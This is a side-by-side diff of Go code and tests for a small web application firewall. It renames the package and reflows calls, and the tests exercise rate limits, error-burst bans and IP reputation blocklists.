// SWW_RATE_LIMIT_EXEMPT_PATHS and SWW_BAN_RESPONSE, and the rate limits and // SWW_RATE_LIMIT_EXEMPT_PATHS and SWW_BAN_RESPONSE, and the rate limits and
@@ -22,11 +22,7 @@ type rateLimits struct{}
func (rateLimits) name() string { return "rate_limits" } func (rateLimits) name() string { return "rate_limits" }
func (rateLimits) check( func (rateLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
_ context.Context,
rq *request,
now time.Time,
) *verdict {
rq.counted = rq.countedByRateLimits() rq.counted = rq.countedByRateLimits()
if !rq.counted { if !rq.counted {
return nil return nil
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -42,11 +42,7 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
{otherClient, otherClient, http.StatusOK}, {otherClient, otherClient, http.StatusOK},
{"::ffff:" + otherClient, otherClient, http.StatusForbidden}, {"::ffff:" + otherClient, otherClient, http.StatusForbidden},
{"2001:db8::1", "2001:db8::1", http.StatusOK}, {"2001:db8::1", "2001:db8::1", http.StatusOK},
{ {"2001:db8::8000:0:0:1", "2001:db8::8000:0:0:1", http.StatusForbidden},
"2001:db8::8000:0:0:1",
"2001:db8::8000:0:0:1",
http.StatusForbidden,
},
{"2001:db8:0:1::1", "2001:db8:0:1::1", http.StatusOK}, {"2001:db8:0:1::1", "2001:db8:0:1::1", http.StatusOK},
} }
@@ -57,11 +53,7 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
line := out.endedLines(t, i+1)[i] line := out.endedLines(t, i+1)[i]
if line.ClientIP != sent.logged { if line.ClientIP != sent.logged {
t.Errorf( t.Errorf("log line has client_ip %q, want %q", line.ClientIP, sent.logged)
"log line has client_ip %q, want %q",
line.ClientIP,
sent.logged,
)
} }
if sent.want == http.StatusOK { if sent.want == http.StatusOK {
@@ -83,25 +75,12 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
func TestRateLimitRefusalNamesItsHeuristicWindowCountAndLimit(t *testing.T) { func TestRateLimitRefusalNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
t,
"",
map[string]string{rateLimitPerMinute: "1"},
)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
client, wantHeuristic(t, line, "rate_limits", `{"window": "minute", "count": 2, "limit": 1}`)
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
wantHeuristic(
t,
line,
"rate_limits",
`{"window": "minute", "count": 2, "limit": 1}`,
)
} }
func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) { func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
@@ -169,26 +148,11 @@ func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
// With a limit of one request a minute, the requests for paths under a // With a limit of one request a minute, the requests for paths under a
// prefix are not counted, so client's first request for / is within // prefix are not counted, so client's first request for / is within
// the limit; and once client has reached it, they are not refused. // the limit; and once client has reached it, they are not refused.
s.request( s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward)
client, s.request(client, "/favicon.ico?v=2", http.StatusOK, requestlog.ActionForward)
"/assets/app.js",
http.StatusOK,
requestlog.ActionForward,
)
s.request(
client,
"/favicon.ico?v=2",
http.StatusOK,
requestlog.ActionForward,
)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.request( line := s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward)
client,
"/assets/app.js",
http.StatusOK,
requestlog.ActionForward,
)
if line.LimitHit != "" || line.Counts != (ratelimit.Counts{}) { if line.LimitHit != "" || line.Counts != (ratelimit.Counts{}) {
t.Errorf("log line has limit_hit %q and counts %+v, want neither", t.Errorf("log line has limit_hit %q and counts %+v, want neither",
line.LimitHit, line.Counts) line.LimitHit, line.Counts)
@@ -250,12 +214,7 @@ func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) {
// Counted, the second request breaks the limit of one request // Counted, the second request breaks the limit of one request
// a minute. // a minute.
s.request(client, sent, http.StatusOK, requestlog.ActionForward) s.request(client, sent, http.StatusOK, requestlog.ActionForward)
s.request( s.request(client, sent, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
client,
sent,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
}) })
} }
} }
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic refusal_limit. It reads SWW_ERROR_BURST_THRESHOLD and // The heuristic refusal_limit. It reads SWW_ERROR_BURST_THRESHOLD and
// SWW_BAN_RESPONSE. // SWW_BAN_RESPONSE.
@@ -11,7 +11,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// refusalLimit counts the request once it has been answered, if waf // refusalLimit counts the request once it has been answered, if discriminator
// refused it after a rule file match, a trap path or a Core Rule Set match, and // refused it after a rule file match, a trap path or a Core Rule Set match, and
// in observe mode if enforce mode would have: more than // in observe mode if enforce mode would have: more than
// SWW_ERROR_BURST_THRESHOLD such refusals of the client within a minute break // SWW_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
@@ -22,11 +22,7 @@ type refusalLimit struct{}
func (refusalLimit) name() string { return "refusal_limit" } func (refusalLimit) name() string { return "refusal_limit" }
func (refusalLimit) check( func (refusalLimit) check(_ context.Context, rq *request, now time.Time) *verdict {
_ context.Context,
rq *request,
now time.Time,
) *verdict {
cfg := rq.h.config cfg := rq.h.config
if cfg.ErrorBurstThreshold == 0 { if cfg.ErrorBurstThreshold == 0 {
return nil return nil
@@ -46,11 +42,9 @@ func (refusalLimit) check(
status := rq.out.status status := rq.out.status
switch rq.line.WouldAction { switch rq.line.WouldAction {
case requestlog.ActionBlockedByBlockRule, case requestlog.ActionBlockedByBlockRule, requestlog.ActionBlockedByCoreRuleSet:
requestlog.ActionBlockedByCoreRuleSet:
status = http.StatusForbidden status = http.StatusForbidden
case requestlog.ActionTemporarilyBanned, case requestlog.ActionTemporarilyBanned, requestlog.ActionPermanentlyBanned:
requestlog.ActionPermanentlyBanned:
status = cfg.BanResponse status = cfg.BanResponse
} }
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"maps" "maps"
@@ -10,14 +10,14 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
const errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD" const errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
// refused is a request the tests here send, which waf refuses after a rule // refused is a request the tests here send, which discriminator refuses after a rule
// file match. // file match.
type refused int type refused int
@@ -52,7 +52,7 @@ func (r refused) send(s *sender, from string) logLine {
// SWW_ERROR_BURST_THRESHOLD at threshold, and the settings in env. // SWW_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
func startForErrorBurst( func startForErrorBurst(
t *testing.T, threshold string, env map[string]string, t *testing.T, threshold string, env map[string]string,
) (*sender, *clock, *waf.Server) { ) (*sender, *clock, *discriminator.Server) {
t.Helper() t.Helper()
settings := map[string]string{ settings := map[string]string{
@@ -97,13 +97,8 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
for i, r := range tc.refusals[:3] { for i, r := range tc.refusals[:3] {
line := r.send(s, client) line := r.send(s, client)
if line.LimitHit != "" || line.Offence != "" { if line.LimitHit != "" || line.Offence != "" {
t.Errorf( t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
"refusal %d: log line has limit_hit %q and offence %q, "+ "want none", i+1, line.LimitHit, line.Offence)
"want none",
i+1,
line.LimitHit,
line.Offence,
)
} }
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
@@ -114,12 +109,8 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
line := tc.refusals[3].send(s, client) line := tc.refusals[3].send(s, client)
if line.LimitHit != requestlog.LimitHitMinuteRefusals || if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
line.Offence != requestlog.OffenceLimit { line.Offence != requestlog.OffenceLimit {
t.Errorf( t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals "+
"log line has limit_hit %q and offence %q, want minute_refusals "+ "and limit", line.LimitHit, line.Offence)
"and limit",
line.LimitHit,
line.Offence,
)
} }
s.get(client, http.StatusForbidden, tc.nextAction) s.get(client, http.StatusForbidden, tc.nextAction)
@@ -158,10 +149,7 @@ func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
expires := start.Add(time.Hour) expires := start.Add(time.Hour)
if line.BanExpires != requestlog.FormatTime(expires) { if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf( t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
"log line has ban_expires %q, want an hour on",
line.BanExpires,
)
} }
netblock := netip.MustParsePrefix(client + "/32") netblock := netip.MustParsePrefix(client + "/32")
@@ -195,30 +183,16 @@ func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
wantOffences := ratelimit.Offences{Limit: 1, BlockedByBlockRule: 3} wantOffences := ratelimit.Offences{Limit: 1, BlockedByBlockRule: 3}
if offences := historyOf(t, server, client).Offences; offences != wantOffences { if offences := historyOf(t, server, client).Offences; offences != wantOffences {
t.Errorf( t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
"history counts the offences %+v, want %+v",
offences,
wantOffences,
)
} }
metrics := s.scrape() metrics := s.scrape()
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+ wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
`kind="refusals",window="minute"}`, 1) `kind="refusals",window="minute"}`, 1)
wantMetric( wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
t,
metrics,
`sww_offences_total{instance="app",kind="limit"}`,
1,
)
wantMetric(t, metrics, wantMetric(t, metrics,
`sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 3) `sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 3)
wantMetric( wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
t,
metrics,
`sww_bans_made_total{cause="limit",instance="app"}`,
1,
)
} }
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) { func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
@@ -243,12 +217,8 @@ func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
blockRule.send(s, fromDE) blockRule.send(s, fromDE)
got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32")) got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
if len(got) != 1 || got[0].Notes.Limit != 2 || if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
got[0].Notes.LimitPercent != nil { t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
t.Errorf(
"bans %+v, want one for the limit of 2, without a limit percentage",
got,
)
} }
} }
@@ -260,16 +230,9 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
"/private": http.StatusUnauthorized, "/private": http.StatusUnauthorized,
"/forbidden": http.StatusForbidden, "/forbidden": http.StatusForbidden,
} }
s, _, _, queue := startAppWithAlerts( s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
t,
func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(statuses[r.URL.Path]) w.WriteHeader(statuses[r.URL.Path])
}, }, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
map[string]string{
errorBurstThreshold: "1",
rulesDir: writeRules(t, testRules),
},
)
for range 2 { for range 2 {
for path, status := range statuses { for path, status := range statuses {
@@ -284,12 +247,7 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
} }
// No ban was made, nor its alert raised. // No ban was made, nor its alert raised.
s.request( s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
client,
"/missing",
http.StatusNotFound,
requestlog.ActionForward,
)
wantAlerts(t, queue) wantAlerts(t, queue)
} }
@@ -321,11 +279,8 @@ func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
broken := line.LimitHit == requestlog.LimitHitMinuteRefusals broken := line.LimitHit == requestlog.LimitHitMinuteRefusals
if broken != tc.broken { if broken != tc.broken {
t.Errorf( t.Errorf("the 31st refusal broke the error burst: %t, want %t",
"the 31st refusal broke the error burst: %t, want %t", broken, tc.broken)
broken,
tc.broken,
)
} }
}) })
} }
@@ -345,12 +300,7 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
// A client in SWW_ALLOW_NETS is not refused, and so not counted. // A client in SWW_ALLOW_NETS is not refused, and so not counted.
for range 3 { for range 3 {
s.request( s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward)
allowed,
blockedPath,
http.StatusOK,
requestlog.ActionForward,
)
} }
// One the rate limits do not apply to is. // One the rate limits do not apply to is.
@@ -358,10 +308,7 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
line := blockRule.send(s, exempt) line := blockRule.send(s, exempt)
if line.LimitHit != requestlog.LimitHitMinuteRefusals { if line.LimitHit != requestlog.LimitHitMinuteRefusals {
t.Errorf( t.Errorf("log line has limit_hit %q, want minute_refusals", line.LimitHit)
"log line has limit_hit %q, want minute_refusals",
line.LimitHit,
)
} }
s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned) s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -370,11 +317,7 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) { func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, _ := startForErrorBurst( s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
t,
"1",
map[string]string{limitBanDuration: "1s"},
)
blockRule.send(s, client) blockRule.send(s, client)
blockRule.send(s, client) blockRule.send(s, client)
@@ -422,26 +365,15 @@ func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
// is the second of the client's, and would have banned it. // is the second of the client's, and would have banned it.
s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward) s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
line := s.request( line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
client,
blockedPath,
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule) wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule)
if line.LimitHit != requestlog.LimitHitMinuteRefusals || if line.LimitHit != requestlog.LimitHitMinuteRefusals || line.BanExpires != "" {
line.BanExpires != "" { t.Errorf("log line has limit_hit %q and ban_expires %q, want minute_refusals "+
t.Errorf( "and none", line.LimitHit, line.BanExpires)
"log line has limit_hit %q and ban_expires %q, want minute_refusals "+
"and none",
line.LimitHit,
line.BanExpires,
)
} }
if got := server.Ledger.Snapshot(); len(got) != 1 || if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
!reflect.DeepEqual(got[0], held) {
t.Errorf("bans %+v, want only the one held", got) t.Errorf("bans %+v, want only the one held", got)
} }
@@ -453,16 +385,12 @@ func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
notes, _ := waiting[0].Detail["notes"].(bans.Notes) notes, _ := waiting[0].Detail["notes"].(bans.Notes)
if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 || if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
notes.Request.Status != http.StatusForbidden { notes.Request.Status != http.StatusForbidden {
t.Errorf( t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
"the alert's notes are %+v, want two refusals, the last answered 403", notes)
notes,
)
} }
alert := banAlert(alerts.EventBan, start, client, bans.Ban{ alert := banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
client + "/32",
), Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 1", Notes: notes, Reason: "refusals per minute over the limit of 1", Notes: notes,
}, requestlog.FormatTime(start.Add(time.Hour))) }, requestlog.FormatTime(start.Add(time.Hour)))
alert.Detail["mode"] = observe alert.Detail["mode"] = observe
@@ -1,4 +1,4 @@
package waf package discriminator
// What the reputation heuristics share: blocklists, crowdsec, dnsbl and // What the reputation heuristics share: blocklists, crowdsec, dnsbl and
// abuseipdb. // abuseipdb.
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"fmt" "fmt"
@@ -15,10 +15,10 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
// The reputation settings. // The reputation settings.
@@ -39,16 +39,14 @@ const (
) )
// The lists these tests name, which are never fetched: each test puts in // The lists these tests name, which are never fetched: each test puts in
// the copies it needs, as lists.json would at start. // the copies it needs, as reputation.json would at start.
const ( const (
dropURL = "https://lists.example/drop.txt" dropURL = "https://lists.example/drop.txt"
torURL = "https://lists.example/tor.txt" torURL = "https://lists.example/tor.txt"
asnURL = "https://lists.example/asn.txt" asnURL = "https://lists.example/asn.txt"
) )
func TestEachBlocklistActionForAListedAddressAndAListedNetblock( func TestEachBlocklistActionForAListedAddressAndAListedNetblock(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
@@ -92,23 +90,14 @@ func TestEachBlocklistActionForAListedAddressAndAListedNetblock(
for i := range 3 { for i := range 3 {
line := s.get(from, tc.statuses[i], tc.actions[i]) line := s.get(from, tc.statuses[i], tc.actions[i])
wantReputation(t, line, dropURL) wantReputation(t, line, dropURL)
wantPercent( wantPercent(t, "rate_limit_percent", line.RateLimitPercent,
t, line.RateLimitPercentSetting, tc.percent)
"rate_limit_percent",
line.RateLimitPercent,
line.RateLimitPercentSetting,
tc.percent,
)
// A request refused for the list is not counted. // A request refused for the list is not counted.
counted := line.fields["counts"] != nil counted := line.fields["counts"] != nil
if counted != (tc.actions[i] != denied) { if counted != (tc.actions[i] != denied) {
t.Errorf( t.Errorf("request from %s counted %t, logged %s", from, counted,
"request from %s counted %t, logged %s", tc.actions[i])
from,
counted,
tc.actions[i],
)
} }
} }
} }
@@ -123,29 +112,26 @@ func TestEachBlocklistActionForAListedAddressAndAListedNetblock(
} }
// A refusal for the list makes no ban. // A refusal for the list makes no ban.
if held := server.Ledger.Snapshot(); tc.action == actionDeny && if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 {
len(held) != 0 {
t.Errorf("bans %+v, want none", held) t.Errorf("bans %+v, want none", held)
} }
}) })
} }
} }
func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient( func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
heuristic string heuristic string
env map[string]string env map[string]string
load func(*testing.T, *waf.Server) load func(*testing.T, *discriminator.Server)
figures string figures string
}{ }{
{ {
"blocklists", "blocklists",
map[string]string{blocklistURLs: dropURL, blocklistAction: actionDeny}, map[string]string{blocklistURLs: dropURL, blocklistAction: actionDeny},
func(t *testing.T, server *waf.Server) { func(t *testing.T, server *discriminator.Server) {
t.Helper() t.Helper()
loadLists(t, server, map[string][]string{dropURL: {client}}) loadLists(t, server, map[string][]string{dropURL: {client}})
}, },
@@ -157,7 +143,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblZones: dnsblZone, dnsblResolver: noResolver,
reputationAction: actionDeny, reputationAction: actionDeny,
}, },
func(_ *testing.T, server *waf.Server) { func(_ *testing.T, server *discriminator.Server) {
loadVerdicts(server, map[string][]string{client: {dnsblZone}}) loadVerdicts(server, map[string][]string{client: {dnsblZone}})
}, },
`{"zones": ["` + dnsblZone + `"]}`, `{"zones": ["` + dnsblZone + `"]}`,
@@ -165,7 +151,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(
{ {
"abuseipdb", "abuseipdb",
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny}, map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
func(_ *testing.T, server *waf.Server) { func(_ *testing.T, server *discriminator.Server) {
loadScores(server, map[string]int64{client: 80}) loadScores(server, map[string]int64{client: 80})
}, },
`{"score": 80, "min_score": 75}`, `{"score": 80, "min_score": 75}`,
@@ -177,11 +163,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(
s, server, _ := startWithLookups(t, tc.env) s, server, _ := startWithLookups(t, tc.env)
tc.load(t, server) tc.load(t, server)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied)
client,
http.StatusForbidden,
requestlog.ActionClientDenied,
)
wantHeuristic(t, line, tc.heuristic, tc.figures) wantHeuristic(t, line, tc.heuristic, tc.figures)
}) })
} }
@@ -198,17 +180,12 @@ func TestBlocklistsComeAfterAllowedCountriesAndSkipAllowNets(t *testing.T) {
// fromKP's country refuses it before the list is looked at, and fromDE, // fromKP's country refuses it before the list is looked at, and fromDE,
// in SWW_ALLOW_NETS, is not checked at all: neither is noted, nor // in SWW_ALLOW_NETS, is not checked at all: neither is noted, nor
// alerted. // alerted.
wantReputation( wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied))
t,
s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
)
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward)) wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward))
wantAlerts(t, queue) wantAlerts(t, queue)
} }
func TestObserveModeForwardsAClientABlocklistDeniesAndAlertsIt( func TestObserveModeForwardsAClientABlocklistDeniesAndAlertsIt(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, server, queue := startWithLookups(t, map[string]string{ s, server, queue := startWithLookups(t, map[string]string{
@@ -226,9 +203,7 @@ func TestObserveModeForwardsAClientABlocklistDeniesAndAlertsIt(
} }
} }
func TestBlocklistLimitTakesPartInTheLowestPercentageOfEveryLimit( func TestBlocklistLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -263,19 +238,13 @@ func TestBlocklistLimitTakesPartInTheLowestPercentageOfEveryLimit(
tc.want) tc.want)
if line.LimitHit != tc.limitHit { if line.LimitHit != tc.limitHit {
t.Errorf( t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
"log line has limit_hit %q, want %q",
line.LimitHit,
tc.limitHit,
)
} }
}) })
} }
} }
func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning( func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
const ( const (
@@ -319,11 +288,7 @@ func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(
maps.Copy(env, tc.env) maps.Copy(env, tc.env)
s, server, _ := startWithLookups(t, env) s, server, _ := startWithLookups(t, env)
loadLists( loadLists(t, server, map[string][]string{asnURL: {"# by AS number", tc.file}})
t,
server,
map[string][]string{asnURL: {"# by AS number", tc.file}},
)
line := s.uploadFrom(fromDE) line := s.uploadFrom(fromDE)
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
@@ -348,21 +313,13 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
blocklistAction: actionLog, blocklistAction: actionLog,
metricsToken: token, metricsToken: token,
}) })
loadLists( loadLists(t, server, map[string][]string{dropURL: {fromDE}, torURL: {fromDE}})
t,
server,
map[string][]string{dropURL: {fromDE}, torURL: {fromDE}},
)
// The second request's alerts are repeats, which the cooldown holds // The second request's alerts are repeats, which the cooldown holds
// back. // back.
for range 2 { for range 2 {
wantReputation( wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
t, dropURL, torURL)
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
dropURL,
torURL,
)
} }
hit := func(source string) alerts.Alert { hit := func(source string) alerts.Alert {
@@ -383,10 +340,7 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
wantAlerts(t, queue, hit(dropURL), hit(torURL)) wantAlerts(t, queue, hit(dropURL), hit(torURL))
if queue.Suppressed() != 2 { if queue.Suppressed() != 2 {
t.Errorf( t.Errorf("%d alerts held back, want the second request's 2", queue.Suppressed())
"%d alerts held back, want the second request's 2",
queue.Suppressed(),
)
} }
// Each list's hits, none of its fetches failed, and when its copy was // Each list's hits, none of its fetches failed, and when its copy was
@@ -406,12 +360,8 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
} }
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
wantMetric( wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels,
t, want.fetched)
metrics,
"sww_reputation_last_fetch_timestamp_seconds"+labels,
want.fetched,
)
} }
} }
@@ -424,7 +374,7 @@ const (
// The DNSBL zones these tests name, which are never asked about the // The DNSBL zones these tests name, which are never asked about the
// clients the tests send requests from: each test puts in the verdicts it // clients the tests send requests from: each test puts in the verdicts it
// needs, as dnsbl.json would at start. A query a test does start is // needs, as reputation.json would at start. A query a test does start is
// sent to noResolver, where nothing listens, so that none leaves the host. // sent to noResolver, where nothing listens, so that none leaves the host.
const ( const (
dnsblZone = "dnsbl.example" dnsblZone = "dnsbl.example"
@@ -468,8 +418,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
dnsblResolver: noResolver, reputationAction: tc.action, dnsblResolver: noResolver, reputationAction: tc.action,
}) })
listedBy := map[string][]string{ listedBy := map[string][]string{
fromDE: {dnsblZone, otherZone}, fromKP: {otherZone}, fromDE: {dnsblZone, otherZone}, fromKP: {otherZone}, unplaced: nil,
unplaced: nil,
} }
loadVerdicts(server, listedBy) loadVerdicts(server, listedBy)
@@ -478,19 +427,14 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
line := s.get(from, tc.statuses[i], tc.actions[i]) line := s.get(from, tc.statuses[i], tc.actions[i])
// In the order SWW_DNSBL_ZONES names them. // In the order SWW_DNSBL_ZONES names them.
wantReputation(t, line, listedBy[from]...) wantReputation(t, line, listedBy[from]...)
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent", line.RateLimitPercent,
line.RateLimitPercent, line.RateLimitPercentSetting, line.RateLimitPercentSetting, tc.percent)
tc.percent)
// A request refused for the verdict is not counted. // A request refused for the verdict is not counted.
counted := line.fields["counts"] != nil counted := line.fields["counts"] != nil
if counted != (tc.actions[i] != denied) { if counted != (tc.actions[i] != denied) {
t.Errorf( t.Errorf("request from %s counted %t, logged %s", from, counted,
"request from %s counted %t, logged %s", tc.actions[i])
from,
counted,
tc.actions[i],
)
} }
} }
} }
@@ -506,8 +450,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
// A refusal for the verdict makes no ban, and every client had its // A refusal for the verdict makes no ban, and every client had its
// verdicts, so no zone was asked. // verdicts, so no zone was asked.
if held := server.Ledger.Snapshot(); tc.action == actionDeny && if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 {
len(held) != 0 {
t.Errorf("bans %+v, want none", held) t.Errorf("bans %+v, want none", held)
} }
@@ -526,27 +469,18 @@ func TestDNSBLZonesComeAfterTheBlocklistsAndSkipAllowNets(t *testing.T) {
reputationAction: actionDeny, allowNets: fromDE, reputationAction: actionDeny, allowNets: fromDE,
}) })
loadLists(t, server, map[string][]string{dropURL: {fromKP}}) loadLists(t, server, map[string][]string{dropURL: {fromKP}})
loadVerdicts( loadVerdicts(server, map[string][]string{fromKP: {dnsblZone}, fromDE: {dnsblZone}})
server,
map[string][]string{fromKP: {dnsblZone}, fromDE: {dnsblZone}},
)
// The blocklist refuses fromKP before its verdict is looked at, and // The blocklist refuses fromKP before its verdict is looked at, and
